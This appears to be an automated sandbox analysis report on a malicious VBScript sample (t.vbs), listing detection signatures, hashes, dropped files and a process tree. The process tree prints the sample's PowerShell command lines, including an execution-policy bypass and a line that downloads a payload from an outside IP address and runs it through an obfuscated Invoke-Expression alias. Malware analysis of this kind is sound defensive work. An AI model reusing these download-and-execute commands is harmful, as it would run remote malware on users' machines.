Analysis

  • user interaction
    yes
  • max time kernel
    298s
  • max time network
    125s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260911-en
  • resource tags

    arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    02/10/2026, 18:30

General

  • Target
    t.vbs
  • Size 32KB
  • Sample261002-w5lgpafg86
  • SHA256 0662643bf41826545f83bac7e74c9988413267a0e74d562b2392092f6fe3b1a6
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\t.vbs"
    1⤵
    • Badlisted process makes network request
    • Executes a VBScript file via the Windows Script Host.
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of WriteProcessMemory
    PID:996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep b -nop -Command "iex(Get-Content 'C:\Users\Admin\AppData\Local\Temp\v.dat' -Raw)"
      2⤵
      • Enumerates connected drives
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ep b -Command $rtst = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXJ0MSI6IjEwNC4xMDUuMjYuODQvdmVsY2FwNGIiLCJwYXJ0MiI6IjEwNC4xMDUuMjYuODQvdmVsY2FwNGMifQ.6EzZi_MGk2xB4kx2hTjgo8QhkGoRjNRN5CtO082pgGw';$p = irm 104.105.26.84/velcap4b -Headers @{ 'User-Agent' = 'Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)' }; .(get-alias *ex) $p
        3⤵
        • Badlisted process makes network request
        • Enumerates connected drives
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5056

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_p55ysicd.tgz.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p55ysicd.tgz.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        v.dat

        • Path C:\Users\Admin\AppData\Local\Temp\v.dat
        • Size 12KB
        • SHA256 aa1247a8fb74b3981122138b91e93a6803f1a5fe267084d715146efe359f5831
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/5532-5-0x000001F9B3880000-0x000001F9B3890000-memory.dmp

        memory/5532-4-0x000001F9B3880000-0x000001F9B3890000-memory.dmp

        memory/5532-11-0x000001F9B3890000-0x000001F9B38B2000-memory.dmp

        memory/5532-13-0x000001F9B3880000-0x000001F9B3890000-memory.dmp

        memory/5532-15-0x000001F9CFAC0000-0x000001F9CFC82000-memory.dmp

        memory/5532-16-0x000001F9D01C0000-0x000001F9D06E8000-memory.dmp

        memory/5532-25-0x000001F9B3880000-0x000001F9B3890000-memory.dmp

        memory/5532-26-0x000001F9B3880000-0x000001F9B3890000-memory.dmp

        memory/5532-27-0x000001F9B3880000-0x000001F9B3890000-memory.dmp